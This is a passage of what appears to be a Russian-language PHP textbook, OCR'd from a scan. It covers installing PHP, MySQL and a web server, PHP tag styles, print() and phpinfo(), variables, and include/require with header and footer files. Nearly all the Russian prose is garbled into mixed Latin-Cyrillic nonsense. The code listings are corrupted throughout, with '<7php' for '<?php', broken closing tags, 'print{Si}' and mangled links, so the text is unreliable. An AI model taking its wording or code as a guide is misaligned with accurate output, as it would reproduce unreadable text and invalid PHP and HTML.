MCMOMB30BATh ITOT KOI B CBOMX IMPOEKTAX, TO HET FapaHTHH, YTo cTpaHuua Oyner
oroGpaxeHa B jobom Web-Gpaysepe. Hekotoprie He momiepXuBaioT 3TV TEXHO-
JIOrHio, @ TaM, Ijie ecTh IMoMIepKKa, NobL3oBaTeNH HHOrna oTKovatoT JavaScript
B Hemsx GesonacHoer. Takum obpazoM, Balua cTpaHuua Moxer orofpaxarses
HEKOPPEKTHO, U 3TO BLISOBET JIMIIHKE npobieMbl y noceTHTeseil.

He ctout mcnonbaosars JavaScript, ecid OH He NPHHECET PeaibHOM BHITOMLI.
Hamuoro nyumie Gymer BOIIOXHTHL BHITIONHEHWE JTHX ONepauWil Ha cepsep,
1 Toraa Baw caitT Gyner npasuisHo otobpaxarses B moGoM Gpaysepe.

KmeHTCKHe TeXHONOTHH He MOTYT COSNHHSTLCs ¢ 6azamu faHHbIX ¥ GopMUpoBaTh
HTML-xon mis yrobHoro orobpaxenusi U socrnpusaTis wHdopmaunu. OHM, cKo-
pee, TIpeAHA3HAYEHbI VISl NPUAAHHs CaliTy NpHBieKarelsHocTH. CepBepHbIe TeXHO-
NOTMM MCHOMBIYIOTCS U IMHAMUMECKOTO CO3/AHMA CTPAHMLL 1 OTOBP@KEHUS HX
nonb3osaremo. Kak Mel yxe 31aeM, 514 pabota HEBUANMA JUIA TONB3OBATENS.

1.6. YcraHoska PHP

lNpexne yeM mpHCTYNUTh K rporpammuposannio Ha PHP, nyxHo obsasectich
HeoOXOMMMBIMHK cpe/icTBaMM st pa3paGorku u recruposaus. [Uis Hanucaumns
PHP-kona MOXHO MCIIONb30BaTh Jaxe mnpocroit BrokHoT, XoTs Crieunanusnpo-
BaHHas cpena pazpaﬁcmcu Oyner HaMHOTO ynoGHee.

Jlna TecTHPOBAHMA ONUCHIBAEMbIX NIPHMEPOB Heobxouum Web-cepsep, KoTopblif
byner obpabarsisare HawiM sanpocsl, ¥ nporpamma PHP, koropas Gyser obpaba-
ThiBaTh cueHapuu, Ecam y Bac suineneHHas nunus 8 MHTepHeTe 1 HeorpaHuvueH-
HbIM TpaduK, TO MOXHO BOCITO/IL30BATHCA YCAYraMu KOMIAHWM, MPEIOCTABIAI-
weit yemyru Web-xoctunra. Takux Kompauuil ceifyac JOCTATOMHO MHOPO
1 BonbuirHeTBO M3 HUX noanepxnsaer PHP, Ho wauie Beero ata yenyra nuarHas,
U lleHa 3aBUCMUT OT CMMCKA TPEJOCTABISIeMbIX YCIAYr M pasMepa. BhUIEJISEMOro
IUCKOBOIO NPOCTPAHCTEA.

[Momumo PHP Ham ewe nonanoGures Gasa nanusix MySQL, notomy 4to B Heko-
TOphIX Oyaylux NpuMepax Mmbl OyAeM WCMONL30BATH €6 /Ul CBOMX MPOeKToB. BTa
fasa jaHHBIX ABAseTcs Haubonee pacrnpocrpaneHHolt B MuTtepHere, u ee Takke
MoANepXKABALT BONBIIMHCTBO KoMnaHuil, npeaoctasasiomyx Web-xocTHHr.,

Ho ecim'y Bac npoGiemMsl ¢ WHTEPHET-COEAMHEHHEM WiH TpachKoM, TO HaMHOIO
puIrojiHee GyAeT MCMoNbL30BaTh BO BPeMsi paspaboTKH JNOKATbHbIE Bepeun Web-
cepsepa, PHP u MySQL. Torza nocne sapepiueHusi paspaboTkn BaM IOCTATOMHO
Oyner 3akayarh BCE MIMEHEHHs HA CEPBEP M OTIAXKHBATL OKOHYATEILHBIH BapUaHT,
B cnyyae ¢ pazpaGorkoii Ha JOKAJIBHOM KOMTILIOTEPE TECTHPOBAHME MOXET ye-
NOXKHUTHCS. Bbl MomKkHBl GyleTe OTIANMTE W MTPOBEPHTE HA oW HOKN Bee cueHA-
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PHM Ha NOKAIBHOM KOMITbIOTEpe, a NnoToM yxe Ha cepsepe. Ilpu nepeHoce roro-
BEIX (ailioB HA cepBep BhI AOJDKHE MPOBEPHTH CUEHAPHN M HA 6Ge30macHOCTH.
Korna ser paboraere ¢ JOKaTbHOM KOMUeH, To ee NoBeIEHUE MOXET OTNHYaThHCH
OT CepBEPHOrO BAPMAHTA, MOTOMY YTO MOIYT OBITH OTINYHA B HACTPOMKAX UHTEP-
nperaropa PHP.

Mrak, npexne uem MPHCTYNHTH K YCTAHOBKE, BAM MOHANOBGHTCS MOCETUTH cle-
IyiolmMe Tpu caita:

http://www.php.net/downloads.php — 3nech MoxHO ckavars nocneaHiow seperio PHP.

hitp://www.mysql.com/ — 3necs MOXHO CKadaTh MOCNIENHION Bepcuio Ga3el maH-
Heix MySQL.

http://www.apache.com/ — 3aech MOXHO HailT nocnefHw Bepcuio Gecnnar-
Horo Web-cepsepa Apache.

Sl ne Gyay TpaTHTh MHOTO BPEMEHM HA ONHCAHHE nponecca YCTAHOBKH, TOTOMY
4To 064 NMpO/IYKTa JIErko yeTaHABRIMBAIOTCA Ha oGOl maardopme u MoCTaBNAIOT-
S ¢ JOCTATOYHO MOAPOGHBIMH WHCTPYKLMSIMK MO YCTAHOBKE M Hac'rpoﬁxe. Ecan
Bbl pabortaere mox Linux, 1o, ckopee Beero, Bce 3TU MPOAYKTHI YXKe BCTPOEHSI
B IHCTPHOYTHR, W HANO TOJBKO YOEMUTHCH, YTO OHH YCTAHOBJIEHBl M 3aNylHeHhl.
Ecmu wer, To moxuo ycranosuts PHP u MySQL ¢ amcka mucrpubyrusa Linux
WM CKayaTh MOCHEAHION BEPCHIO ¢ BHIIEYKA3AHHOTO canTa.

Ecnu Bbi paboraere mon Windows, 10 B kauectse Web-cepBepa MOXHO HCMOMb30-
Bats BerpoeHusit B8 Windows 2000/XP cepsep MS Internet Information Server.
OH Brio/iHe NMPOCT U MPUEMIIEM JUIS TECTHPOBAHNS nalunx npuioxennit. Eciu so
Bpems ycraHoBkn Windows BEl oTKasamuchk OT ucronbiosanus IIS, To Boitmure
B HACTPOiiKax cucTeMbl B naHelb YCTAHOBKA M yjajeHHe nporpamm, BeiGepure
Komnonentst Windows u ycranosure komrioHent Internet Information Server.

o Windows ycranoska PHP npoucxomut npu nomoiw npoctoit nporpamMmet. [To-
clle 3TOr0 OH rOTOB K HMcronbiosanuio. JlocrarouHo momectuts aliinl cueHapues
B Manky, Kortopas wucrnomabsyercs Web-cepBepoM JUisi XpaHeHMsi omyGnIMKOBAaH-
HBIX haitnos, W 3arpy3uTs WX B Gpaysepe. Tlo ymomuannio IIS mcrnonsayer manky
Inetpub\wwwroot Ha cieremHoM aucke. Ecim nomectuts Gaitn B 31V Marnky, To zoc-
tarouHo Habpare B Opaysepe ampec hitp://127.0.0.1/filename.php (filename.php —
umsl (paitiia clueHapus), M Bbl YBUIMTE pesynsrar paborsl (aiina cueHapus,

JluuHo y MeHs coxpaHiics crapblit Kommnbiorep Pentium I1I (566 MT'u), koro-
phIit i UCTIONB3YIO B KAaYecTBe AoMAaliHero ceppepa. Ha Hem ycranomiena Linux
{6maro ee MOXHO ycraHasnwsarh GecrinarHo) Bmecre ¢ Apache, MySQL u PHP.
Drvor BapuaHT oyeHs yunobeH, ecnu Bel ymeere paborars ¢ OC Linux, yrto cnox-
Hee, yeM pabota ¢ Windows. Eciu HeT, To npuaercs MOTPATHTE HEMAIO BpeMEeHH
Ha u3yyeHHe Boex ToHkoereil 3toit OC u ee HacTpoek.

Bonee nonpobuo Ha yeranHoske PHP s ocranarnupartses He Gymy, nmoromy 4ro
OHa XOpOLIO ONMMcaHa Ha oduumMaibHOM caiite nporpammsl. B MHTepHere taoke
JIOCTATOYHO MHOrO crareil Ha Temy ycraHosku PHP u MySQL.
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OcHoBbl PHP

B 371oii mase Mbl mosHakoMwmces ¢ ocHoBaMM sabika PHP u mayummces mucath
npoereitiue cuenapui. Ham npeacront JAIOKHTH @ynnamem, ‘Korophiit Gyner
UCTIONB3OBATHCH HA MPOTSKEHMM BCEH KHUTH. YKe B 3TOM 11aBe Mbl Y3HAEM He-
KOTOpAIE CeKPeThl, KOTOPLIE MIOMOTYT CAENATSH BALl KOJ Jy4lile.

ﬂmmumaﬂaxouucammmbrmu,nconemomu NPOCMOTPETH 3Ty I/aBY.
BoamoxHo, Bbl nouepnHere s cebs yro-ro Hopoe. B mobom ciyyae s cuuTaio
MONE3HBIM Y3HATH YyXoil B3DIAA Ha 3HAaKoMbie Belu. KoHeuno Xe, A Mano HOBOro
MOTY paccKasaTh ONBITHOMY MPOIPAMMUCTY 06 OCHOBAX PHP, Ho HeKkoTOphie coBe-

Thl ¥3 MOEIO JIMYHOIO OMBITA MOTYT OKA3ATHEH IMOE3HLIMH.

Hrak, HAM NPeACTOMT y3HATh, KaKk mumyres MHcTpykunn PHP, uro rakoe mepe-
MEHHbIE, MbI MO3HAKOMMMCS C JIOTMYECKMMH onepatopamu W obcyaum, Kak
MOXHO YIPaBIsTh BBIMTOJIHEHHEM ITPOTPAMMEL.

Sl nocrapaiock cuenars ONnUCcaAHNe MAaKCHUMANbHO YBJIGKATe/NbHBIM, XOTS Ha AaH-
HOM 3TaIe 3TO HEMmpocCTo. HCI‘IO}II‘OTOBI[CHHHﬂ YHUTATCNIb OOJDKEH CHayajia yCcBO-
HTBh 3TH OCHOBBI, 63 KOTOPBIX Mbl HE CMOXEM HAyaTh MUCATh HHTEpPECHBIE TIPO-
TpaMMbl. A TAK Kak NpUMEpoB MoHaywry Oyaer Mano, ONHcaHwe MOXeT
TOKa3aThesl CYXMM M 3aHyaHbIM. S caenaio Bee, YTOObl Bbl HE 3aCKyMain.

Yrobet MaTepman Jiyuile 3aMOMWHAICA ¥ MHTEpecHee OblI0 YUTATh, 5 PEKOMEH-
QY0 BaM CaMOCTOATENBHO CO31aBaTh (hailfibl CUEHAPUEB W MPOBEPATh PE3YILTAT
pabotsl. Toneko Tak Bl HaGepeTe JOCTATOMHO OMBITA M JIY4IIE 3arOMHMTE M3Ja-
raemblif B KHUTe MaTepua.

Wrak, npucrynaem K Gonee miybokoMmy 3HAKOMCTBY € OAHHM M3 CAMBIX HWHTEpEC-
HBIX H MOILIHBIX A3bIKOB mporpamMmuposanus Web-caiitos — siasikom PHP.

2.1. PHP-uHCcTpPYKLUUN

Kak ms yxe ssaem, PHP-uucrpykumm muutyrest npsvo 8 HTML-nokymenTe.
Ho kak Web-cepsep onpenensier sayrpn HTML-nokymenra PHP-kon, kotopsiit
Hamo seinonunTe? Kak ormemuts PHP or HTML? Ouens mpocto.. C noMolnsio
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CNELMANLHOIO COMAIIEHHS Bbl ykailblBaere, [l HAYMHAETCA M 3aKaHYMBaeTCs
Kou. Bee ocransHoe socnpuaumaercs kak HTML-nokymenr.

Yame seero mwis obosHaveHus navara ¥ Konua PHP-uncrpyxumii ucnompayerci
(opmar:

<7php

xon PHP

>

Bee, uTo pacnonardaercst Mexay TeraMM <?php M 7>, BOCIPHHUMEAETCS CEpBEPOM
kak PHP-kon u obpabarsiBaercsi coorsetcreyiouiyM obpaszom. Bee ocramshoe
socripunuMaercs kak HTML-gokymeHT u nepemaercsi KiuueHty Ge3 usmeHeHui
1 obpabarniBaercs yxe B Gpayaepe.

O1ot1 dopmaT HauGoslee NPEATOYTHTENEH, H B ITOM Cllydae Bbl MoXeTe GbiTh yBe-
peHbl, 4yTo OH Gyaer KoppekTHo obpaboran cepsepoM. Hecmotps Ha 310, BBl MO-
KeTe MCNONbIOBaTh W JAPYrHe BAPHAHTHI, KOTOPBIE TIOMIEPXKWBAIOTCA B NAHHBIMH
momenT., Ho Bbl TO/KHBL OTAaBATE ce0e oT4eT, YTO TOALKO Ter <2php U ?> Oyayr
rapaHTHPOBAHHO TIOAAEPKMBATHCH BO Beex Bepcusix. IToMIEpXKA OCTAILHBIX Ba-
puanTos orpaHuuerus PHP-koxa moxer GuiTe npekpatieHa uau Gyaer Henofb-
30BATHCA C OTPAHUYEHUAMH B J0GOH 13 Gynyuux Bepcuid. Tora Mbl CTONKHEMCS
¢ HeBXOMMMOCTRIO MEPENMCHIBAHKS BeeX clieHapues. Eciu y Bac ux Maito, TO 310
elle He CTpauHoO, HO €ciM Bbl co3ganu Gonbiroll caiit ¢ mMHoxectBoM PHP-
daitnos, UX pelaKTHPOBAHHE MOXET CTaThb NpodieMoi.

Urak, paccMoTpUM [Apyrue BapHaHThl BbLIEJEHUS PHP-kona. Cambrit KOpOTKHMil
TAKOH:

<?
Kon PHP

7>

Yrober cepBep pacmodHan TAKylo (GopMy 3amucH, CHEAYeT BKIOYHTH MOMAEPKKY
co cropoHsl PHP. [lnd 3Toro HyxHo cKOMNMAMpoBath uHTepnperatop PHP
¢ onuueii --enable-short-tags wid B (afine php.ini (dain wacrpoexk PHP)
M3MEHHTh 3HAYEHHe MapaMeTpa short_open_tag Ha on. Bropolt BapuaHT MeHee
MpEeAnoYTHTENIEH, MOTOMY YTO MapaMmeTp short_open_tag JIyville OTKIOMATH,
HHaye BOIHMKHYT npobiemsl ¢ pacmosxaBaHmeM XML, 1. K. HeKoTophie Tern
XML moryT BLI3BaTH KOHGIHUKT.

Manusiit hopMar peaxo MCMonbkIyercs MPOrpaMMUCTAME, TOATOMY B HEKOTOPLIX
nporpamMmMax wis paboThl ¢ MOACBETKOW CHMHTAKCHACA 3TOT BapuMaHT odopMIIEHHA
HC ONpenemaAcTCA.

A He pekOMEHIY0 HCHONb30BATH TEr <? 2>, MOTOMY YTO OH MO3aMMCTBOBAH U3
SGML u moxer Bai3BaTh MHOXeCTBO Korduinkros. K Tomy Xe, clieHapuu MoryT
paGorats Ha BalIeM NOKANBHOM KOMITBIOTEDE NMpPaBUILHO, 4 NOCHE 3arpysKHd Ha
cepBep BO3HWKHYT mpobnemsbl, €cid Her coorsercTByouieil nomuepxku (PHP
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CKOMITHIHPOBAH 6€3 COOTBETCTBYIOIECH OfILMH, WIH HET HYXHOrO napamerpa
B INI daiine). A naxe pexkoMmeHIYI0 OTKIIOYUTL BO3MOXHOCTL WUCHONLIOBAHMS
KOPOTKoro odopmieHust koaa, 4ToSbl NPH CAYMARHOM €ro NMpUMEHEHHH BhiIABA-
Nack olunbKa,

Crenyouuit THIT 3aTHCH BBITALMT TaK: s

<% A

Kon PHP

%>

9ror BapUANT HEMHOIO NPOLLE, YeM NepBhIi, HO nammﬁ THIT ohopMaeHHa Kona
OpHHAT B ASP Tmu 06pa3oM, cepBep MOXET MOMBITATECA OMMH U TOT Xe Kol
unrepnperatopamy (ASP u PHP), uto TOXe Mome'r Bbl-

</SCRIPT> ry o R

Jlansnii w od;opmems MoX0X rm npm-m‘mm epi:rmnem B t}xaﬁmx pas-
merkn HTML, Ho on crumrkom HeyIODHBIH, MeHee YHTAeMEIR W TAKKE MOXeT

BbI3BATE KOHGUINKTHL. B nanHoMm cnyyae KoHGIMKT MOKET BOZHUKHYTHL W3-3a Ba-
weif caydaiiHoit  OoWIMOKHM, eciM  BMECTO LANGUAGE=’php”  Hanmcarb
cript”. DT0 TOXe BepHas 3anuch, HO B 3TOM cay4ae Kon Oyzer
w cueHapuit Ha sssike VBScript u Gyzer nepejan Ha KiHeHT-
emnmmmmzﬂmﬁpﬁm

TNasaiite uonpuﬁyeu yTo-HUGyab Hamucars Ha assike PHP. Tlepsoe, ¢ Yero mox-
HO Hayarh, — Haneuarars Kakoil-mubo Teker ¥ ysHarh Mudopmauno o6 ycra-
HOBJICHHOM HAa CepBepe WHTEprpeTarope PHP. s sroro cosnaitre daitn
information.php co clelyouLM COAEPKUMBIM (:memr 2.1). '

<HTML>

<HEAD>

<TITLE> Test page </TITLE>

</HEAD> ? LS

<BODY>

<rphp

print("This is information about PHP<P>");
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phpinfo() ;
>

</BODY>
<HTML>

E__Mpumesanve 3

WexopHelid ko M3 nuctuHra 2.1 BBl MOXeTe HaWtm B halne
\Chapter2\information.php Ha KOMNaKT-AUCKe, NPUNAraeMom K KHUre.

3arpyaure ¢ nomoutsio FTP-xauenrta stor ¢aitn Ha sam Web-cepsep wim
NOMECTHTE B MANKY CepBepa HA JIOKAWILHOM JMCKe, EC/IM Bbl HCMONbB3yere
noKaibHYl0 Bepemio. Teneps mpyam aitn © NOMOMBIO 6paysepa. Ecim Boi
nomecTi/H aill B KOpPHEBOH KaTaior cepsepa, TO B anpecHoil cTpoke Gpaysepa
HYXHO HabpaTh W//m server.com/information.php, rze server.com — 370
MMSl BallEro cepBepa. cyqae © JIOKANLHBIM CEpBEpPOM MOXHO YKa’aTh
http://127.0. O.IMM Peaynbrar BBINOJHEHHS! CUEHAPUS MOXHO YBH-

nets Ha pue. 2.1,

Pue. 2.1. Peaynbrar evisoga nHdopmauun o PHP
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Taxoit cueHapuit 4aie Beero WCHONB3YIOT I TECTHpPOBAHUS PaborocnocobHo-
CTH CepBepa, NMPABUALHOCTH YCTAHOBKH PHP u nonyuerusi napametpos. Pac-
CMOTPUM, YTO €CTh B JAHHOM CUEHApUW, MeXily TeraMi <?php M ?> PACTIONOKE-
HbI IBE CTPOYKM KOMAHIL:

print ("This is information about PHP<P>");
phpinfo() ;

B nepsoit cTpouke Bhi3biBacTes (yHKuus print (). C nomowsio 9Tolt QyHKUMH
MOXHO BbIBOJMTh, ri__l OKHO 6paysepa xaxoﬁ-unﬁygbz tekct. Kak Mbl yXe 3Haem,
WIS BBIBOJA IPOCTOTO TEKCTa Aoctartouno ucnonbsosate HTML, HO B gaHHOM
cayuae s XoTesl TIOKa3aTh, KaK 970 aenaerca ¢ nomoiisio PHP-(ynxkumii. B nane-
HelflueM MBI MOSHAKOMUMEs C 370l dyHKumedi Gonee uqupoﬁlio a ToKa jocra-
TOYHO GyJieT OCHOBHBIX CBEIEHMIA. "

Jliobas PHP-yHKuMS MOXET nojydaTh MapaMerpbl, KOTOphIE YKasbIBAIOTCS
B cKoOkax mocie umeHH (yHKumn. st GyHKUMH print () B ckobOKax HYXHO
YKa3aTh TEKCT, KOTOPBIH HO/KeH ObiTh Hamedarad B Gpaysepe kimeHrta. Texct
3aK/ioyaeTcs B JIBOMHBIE WM OAMHAPHBIC KABBIYKH. HOGMOTPHTB Ha TeKCT, Ko-
TOpBIA MBI YKA3aIH, W Bbl yBuAuTe, YT0 B KoHUe crout HTML-Ter <>, KoTophiit
cOOTBETCTBYeT KoHLy naparpacda. Takum oBpa3oM, TEKCT MOXET HATH Briepe-
meurky ¢ HTML-teramu, u ero MoXHO hopMaTHPOBATE.

Bo Bropoit crpouke Bei3biBaeTcH QyHKUMA phpinfo(). OHa

3epe ordopmaruposannyio uHdopmauuo o PHP, mmpymsuummuaﬁm
nartk (em. puc. 2.1). ns aroil yHKunu He HyXHbI TApaMeTpsi, MO3TOMY B cKob-
Kax meem Be yxaaaﬂo

pemeHP Ml... Tom CKas3ars, B nib&ae lrnoxyuem-a
MOXHO BCTABSATH PHPwmuaﬂgu. K4K MOKa3aHO B IMCTHHTE 2. 2

<HEAD>
<TITLE> Vision </TITLE>

</HERD>

<BODY>

<P> Hello

<P> <7php §i =1; print("This is PHP");?>

<P> i = <?php print{Si} 7>

</Bcﬁ'£> da o _
<HTML> i’
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KOMNAKT-AUCKE, NPUNAraemMom K KHUFe.

B manvom npumepe use ctpoukn comepxar PHP-xoan, a ocranshbie — HTML-
KOJ. Bel MoxeTe BeTamasTh yuacTku Kopa Ha sssike PHP Tak yacro, kak Bam aro
HYKHO.

Ho 310 ewe He Bee. B nepsoii ctpoke PHP-kona Mol obBsBIsIEM TIEPEMEHHYIO
si, xoropasi Gyner paua 1. Yro Takoe nepementias? Ha fanmsiii MOMEHT Baum
JOCTATOYHO NOHWMATH, YTO 9TO sMeiKa (wiM o6NACTB) MAMSITH Wi XpaHeHWs
OlnpeneneHHbIX sug';aﬁnﬁ (unces, CTPOK ¥ T. 11, ¢ KOTOPBIMH TTOTOM MOXHO Tpo-
W3BOMMTY BEMHCHEHWA WM Apyrie AeHCTBHS). Wmena NEpeMEHHBIX HAYHHAIOTCH
¢ camsona $. Wrak, Hama sveiika mamaty OyderT HassBaTeCs $1i W colepxarh
3Havenne |,

Bo sropoMm yuactke Kopa nposcmr [evaTh COAEPKUMOro sYeiKu HaMaTy

c UMeHeM $i. 3amyerite sTOT tmnmm W Bbl YBHIWTE PE3YJIbTaT, MOKA3aHHbIH
Ha pue. 2.2,

Kak sifute, 3Havermne sueiikn nmﬁﬁl $i HHKYZAa He Wcyesto M pasHo 1,
HECMOTPSi HA TO, 4TO TIEpEMEHHAA C a B OIHOM MecTe, a MCMOb3OBANACH
B IpyroM. Mbl cO3Tanm AAHHYIO MEpeMeHHyio B fepsoM yuactke PHP-koma,
a HCHO/b30BATH BO BTOPOM. Tmuﬂﬁm nepeMeHHbIC COXPaHAIOT CBON 3HA-
YeHHs HA NPOTSDKeHHH Beero JoKymeHTa. HemHoro moske Mbl MOSHAKOMHMES
C TIepeMEHHBIMH TIOOIIXKe.

Puc. 2.2. PeaynsTar BIBOAA COASPKUMOro NEPeMEHHOR
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2.2. NopknioveHue caitnos

MHorokparHoe HcloNb3oBaHMe Kojia — BevHas npobiema wisi mioboro nporpam-
mucra. Korga msel paspabaTeiBaeM HOBbLH 1TPOEKT, TO Ham abCONMOTHO HEWHTE-
PECHO pearth Te ke npobiembl, KOTopble Ghulll YK€ PEIueHbl NpH peanu3atimu
Ipyroro npoekTa. bbuio 6bl XOpOIo NPOCTO BOCTIONE30BATLCH YXKE HMEIOLIMMUCS
BOSMOKHOCTIAMHA.

Bel, HaBepHoe, He pas caslmanu o auHamuyeckux Gubnnorekax Windows. Dro
GUOAMOTEKM, B KOTOPBIX XPAHSATCS pasiWyHBIE pecypchl (KapTHHKH, WKOHKH,
opMBI TMANOTOBBIX OKOH, MEHIO M [pPYrHe THIBI PecypcoB) W/WiM Koi Rpo-
rpammebl. JlioGas mporpamMma MOXET 3arpy3uTh 9Ty GuOIMOTEKY M MCMOABL3OBATH
ee coaepxumoe, Hanpumep, OpenGL — rpapmyeckas Gubnnoreka, B KoTopoi
xpausTes dyHkunn s coananmns 3D-rpadukn nparTHYecK MmoGol CHOXHOCTH.
Jlio6oii mporpaMMHCT MOXET 3arpy3uThb 3Ty GUGIHOTEKY B NaMaTh KOMIBIOTEPA
HCTIONIB3OBATE B CBOMX Npoekrax. Takum obpazom, He HAAO IS Kakuol 1po-
rpaMMbl 3aHOBO MucaTh Koa rpaduuecknx QyHKUMi, 4 MOXHO BOCHOILIOBATLCH
TeM, YTO YXKe XOPOIIO CHIENAHO APYTHMHU NPOrPaMMICTAMH.

[uHamuyeckue GUONHOTEKH NO3BOASIOT HE TOJIBKO MCMONB30BAThH OAMH U TOT XKe
KO B PasHbIX MPOEKTAX, HO M JEIAWTBCA MM C APYFHMM MporpaMMHUCTaMM, Kak
Mbl 9TO yBUAEAM Ha npumepe 6ubauorekn OpenGL.

[Mpu nporpammupoBannd Web-ctpanuu npobieMa MHOTOKPATHOTO MCMOAL30BA-
HHsL Kofia cranoBuTcA elte Gonee ocrpoil. Baw calit Moxer comepxarh COTHIO
daitiios ¢ KOIOM, MACATE B KAXKAOM M3 HUX OIHM ¥ T€ X KOMAHAL! HeynobHo u
HepaumoHansHo, Paitinsl GyayT momydarsest HONBIIHMHE, @ CKOPOCTh BLITIONHEHMS
HE YBEJIUMHTCS,

MHorokparHoe uenonbsosarie koga B PHP peanusosano uepes nnchune
taitnos. Tloakmouenue dailjiop MOXHO BOCHPUHUMATE W KaK elle oiHH crnocod
sHenpeHuss PHP-koma B Web-ctpanuuy. [Uia 310ro Mcnonssyercsi QyHKLUMs
include(), Y KOTOPOH €CTh YETHIPE PA3HOBUIAHOCTH:
include('/filepath/filename’);

include once('/filepath/filename') ;

require("/filepath/filename');
require once('/filepath/filename');

Bee atn. hyHKUMM MAOAKINIOYAIOT YKA3AHHBIA B ckobkax daitn. B npeasuaymmx
pepeuax Obuia HeBosbllas pasHULA B CKOPOCTH paﬁo'ru MeXny QyHKIMAMA
include() /include_once() M require()/require_once(). B Hacrosmiee Bpe-
MS CYILIIECTBYET PasHWLA TONBKO B reHepupyemsix olrubkax. [Mepssie mse pynk-
LMW 1pH OBHAPYXKeHHH ombKH (HanpHMep, OTCYTCTBYET MOAKmoYaeMbiil daiin)
BBHINAIOT TIPEAYNpPEXAeHHe ¥ TMPONO/DKAIOT BHIMONHEHWE cueHapusi. OyHKUUH

2 3ax. 1315
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require()/require_once() BBUIAIT, eooﬁmeﬂug, 0 KpuTHyeckoit . omndxe,
H AaTbHean pa601'§ NpepeIBaETCS.

Pasuuua Mexuny include () /require() ¥ include_once()/require_once() o~
CTOUT B TOM, MTO Bropas napa (GyHKINH rapauTHpyeT, 4To yKasaHHBli daiin Gy~
JIeT MOAKITIONeH K TeKyuemy daitny Tonbko oauH pas. MHoraa sto OsisaeT Heob-
XOMUMO, YTOOBI. JBAXKIBI HE MOAKIIOYATH (alin ¢ KPUTHYECKHM BAXKHbLIM KOIOM,
KOTOpBI fo/mkeH BBITh TONBLKO B GIMHCTBEHHOM 3K3emruisipe. K TakoMy Koy
orHocsirest PHP-dyrxunu (Msl #x Gylem paccmarpuparh B JanbHeilieM), Koro-
pbie He JM0oJKHbL OBITE 06bABNeHbl ABaXILL. Ecivn B MOMEHT moxxmoueHns dailtia
¢ MoMolibio GYHKUMIT include_once() WIH require_once() OGHapyXuTCs, ¥TO
daitn yxe noxkmoyancs, To Oyrer creHepupoBaHa haratbHas omubka.

Ha nepssiit Barnan, GyAKuMn include_once() WIH require once() He HYXHBHI,
€CNM B CLUEHAPHH HE MOMKIIOYATh ABAKILI OANH M TOT Xe daiin. Ho sro ounbka.
®aiin MoxeT GbITh NOAKIIOYEH HE 'ronblco B BalieM cuenapuu. Jonyernm, uro
Bbl nopkmoyaere daiis 1.php u 2 p‘bp Daiiisl pasHble W CONEPXKAT PasHbI KO
A ecan B Qaiine L.php ects noakmouenne gaiina 2.php? B srom cayuae, nox-
kmouas daiin 1.php, Bel aBTOMaTHMECKH Monkmovaere u (aiin 2.php, a ecim ewe
H fBHO 3arpyauTh aitn 2.php, 10 npousoiiner ownbka. Takyio omnbry nerxo
YBUIETh, €CTH WCnons3oBath (MYHKHUMM include once MMM regquire_once.
B manHoM ciywae gocraroqno Gyner moakmiouuts daitn l.php, a sropoit daiin
Oyner 3arpyxeH M3 Hero.

Kakue dyHKOmd ¥ B KaKoM cayyae 'ﬁcmmmomm? 51 pekoMEHIYI0 MCITONBIOBATE
require() M regquire_once() IS MOAKMIOueHNHs ailioB, comepxauwmx Ko
nporpaMMil. B 3TOM cnyuae BbI CMOXETE CBOGBPEMEHHO OTpEarHpoBaTh Ha
ouuOKy NpH HenpaBUAbHOM MoAKMoYeHNH. Hekoropsie nmporpaMMucTsl GosTes,
YTO I10/1b30BaTE/Ib YBHANT oMOKY, HO 2T0 HenpaswibHo. Topasgo xyxke, ecnu
Baw Koz Oyaer paborars HeBepHO M3-3a TaKOi oMK,

@yHKumio include() Mydile WCMONL3OBATH VIS MOAKIIOMEHMS JacTell NOKyMeH-
ta. Hanpumep, B RHacrosilee BpeMs CTAT PACMpPOCTPAHEHHBLIM crocol neneHus
CTPAaHULIBI HA TPW YACTH — 3arojIOBOK, MOJBAM W TelO0 AOKYMeHTA. 3aronosok
CONEPXKUT BEPXHIO YacTh CTPaHMIBI (JIOTOTHII, MEHIO W T. I.), KOTOpas Hens-
MEHHa UIf BeeX MOoKymeHTOB caiita. Iloasan colepXUT HUXKHIOW HEH3IMEHHYIO
yacTh (uHdopMaumio o sranensue ¥ ap.). Teno — 3To UEHTpanbHas YacTh, CBOS
y KKno# crpaHunbl. Takum obpasoM, uTobnl B Kaxknom aiise He co3nasarh 3a-
rOJIOBOK M TIOABAT, HX BBIHOCAT B OTACABHEIH (aill U MOTOM TOABKO MOAKIIOYA-
T K [JOKYMEHTY. 3aro/loBOK W [OABAN JIyyile NOAKMIOYaTh 4vepes GyHKUMH
include().

Paccmorpum mpumep caiita, pasburoro Ha Tpu yactu. Paitn saronoska (vawe
scero ¢aitn HasbiBaiorT header.inc) MOXET BbLINIAAETH, KAK MMOKA3AHO B JMC-
THHTrE 2.3,
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<HTML>

<TITLE> Test page </TITLE>
</HEAD>
<BODY>
<CENTER><H1> Welcome to my home page.</H1></CENTER>
<!-- Here you can insert page menu, links -->
<p><a href="http://www.cydsoft.com/ >Home</a>
<a href="http:/ /www.cydsoft.com/products”>Products</a>
<a href="http://www.cydsoft.com/register.php">Purchase</a>
<a hreia'mimo:iaio@vr-mline.m:wont&ct Us</a>

T

<HR>
S By S i ek =-':rr.-‘
MMNMMMiMNMmWW
naraeMoM K KHure.

®aitn noxsana (uaime seero daiin Ha3bIBAIOT t'ooter.mc) qcom CONlepXKAaTh Clie-
il 8
AYIOULYI0 WHOOPMALIHIO: .
<Pa<cHR>
<CENTER><I> Copyright Flenov Wk!!xzm
</BODY>
<HTML>

upnueﬂanue P

daiin footer.inc el MOXETE HalTKH nmmmmmmmwa-
' raeMOoM K KHUre.

Teneps MOCMOTPUM, KaK MOXET BHITISAETH KOA ISt c'rpanunu HoBocTeit (-J{Iié'-
THHT 2.4).

<?php include('header.inc'); 7>

<P><B> Site news</B>
<LI>CyD Organizer 1.2 now available. .
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<LI>Use the CyD Virtual Desktop to organize a busy daskt:op save your
time, release your work and keep the applications in order

<LI»Use the CyD Virtual Desktop to organize a busy deakl:op, save your
time, release your work and keep the applications in order.

<LI>New Java Applets. A christmas gift from CyD Software Labs. Generates
real looking snow that falls over your picture. And best of all, it is
totally free! Have funl!

<?php include('footer.inc'); 2>

K Npumeyanne :

WcxoaHsii kog w3 nucTudra 2.4 Bel MoxeTe Hailimi B thaline \Chapter2\index.php wa
KOMNaKT-AWCKe, NpunaraeMom K KHure.

Peaynsrar BelmonHeHust ceHapust HoBocTel cM. Ha pue. 2.3.

Welcome to my home page.
Home Products Purchase Contuct Us

Site news

s CyD Organizer 1.2 now available. ;

